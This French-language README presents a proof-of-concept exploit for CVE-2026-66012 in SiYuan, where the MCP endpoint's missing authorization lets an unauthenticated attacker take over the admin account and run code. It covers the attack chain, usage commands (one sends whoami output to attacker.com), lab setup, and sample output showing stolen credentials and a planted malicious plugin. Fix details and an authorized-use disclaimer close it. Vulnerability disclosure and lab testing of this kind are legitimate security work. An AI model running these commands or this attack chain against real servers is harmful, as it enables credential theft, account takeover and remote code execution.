
Exploit non authentifié de prise de contrôle d'administrateur pour CVE-2026-66012, utilisant l'absence d'autorisation de MCP pour exfiltrer des identifiants et obtenir une exécution de code à distance.
Preuve de concept pour CVE-2026-66012 (CVSS 10.0 Critique), une vulnérabilité d'absence d'autorisation dans le point de terminaison MCP (Model Context Protocol) de SiYuan qui permet à un attaquant non authentifié de prendre le contrôle de l'administrateur et d'exécuter du code à distance lorsque le serveur Publish est activé en mode anonyme.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-66012 |
| CVSS 3.1 | 10.0 Critique |
| CWE | CWE-862 — Absence d'autorisation |
| Version affectée | SiYuan < v3.7.2 |
| Version corrigée | v3.7.2 (commit df51c2bda696) |
| Signaleur | Nguyen Van Hiep (@hypnguyen1209), MBBank |
Trois défauts composent la chaîne d'attaque :
POST /mcp est enregistré avec model.CheckAuth uniquement — pas de CheckAdminRole ni CheckReadonly. Tout JWT valide (y compris avec le rôle Reader) peut invoquer les 31 outils MCP.handler.go) appelle les outils sans vérifier le rôle de l'appelant.RoleReader dans chaque requête lorsque Publish.Auth.Enable=false, transformant le bug d'absence d'autorisation en une vulnérabilité non authentifiée.POST /mcp sur le port Publish (sans identifiants)conf/conf.json → extraction de accessAuthCode, api.token, cookieKeydata/plugins/pwn/ → RCE au prochain lancement du bureau via nodeIntegration:trueaccessAuthCode volérequests (pip install requests)# Exploit complet (exfiltration d'identifiants + installation de plugin + élévation admin)
python3 exploit.py http://TARGET:6808
# Payload personnalisé pour le plugin installé
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"
# Exfiltration d'identifiants uniquement (sans installation de plugin)
python3 exploit.py http://TARGET:6808 --no-plugin
Pour les tests autorisés uniquement. Installez localement une instance vulnérable :
# Créer l'espace de travail
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"
# Démarrer SiYuan v3.7.1 vulnérable
docker run -d --name siyuan-lab \
-p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
-v "$LAB_ROOT/workspace":/siyuan/workspace \
-e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
-e "PUID=1000" -e "PGID=1000" \
b3log/siyuan:v3.7.1 \
serve --accessAuthCode=labpass-9f4c1a --lang=en_US
sleep 6
# Activer le serveur Publish en mode anonyme
API_TOKEN=$(docker exec siyuan-lab sh -c \
'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')
curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
-H "Authorization: Token $API_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'
# Exécuter l'exploit
python3 exploit.py http://127.0.0.1:6808 "id"
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================
[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n
[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
accessAuthCode: labpass-9f4c1a
cookieKey: zhia862a5vfvraau
api_token: nsnt2m0n4lwv2a43
[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
Payload executes on next desktop launch
[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
Token: lqfhx...
=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================
Mettez à jour vers SiYuan v3.7.2 ou version ultérieure. Le correctif (commit df51c2bda696) applique :
CheckAdminRole + CheckReadonly sur la route /mcpconf/conf.json dans l'outil fichierCette PoC est destinée aux tests de sécurité autorisés et à des fins éducatives uniquement. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale. Les auteurs ne sont pas responsables de tout usage abusif de ce code.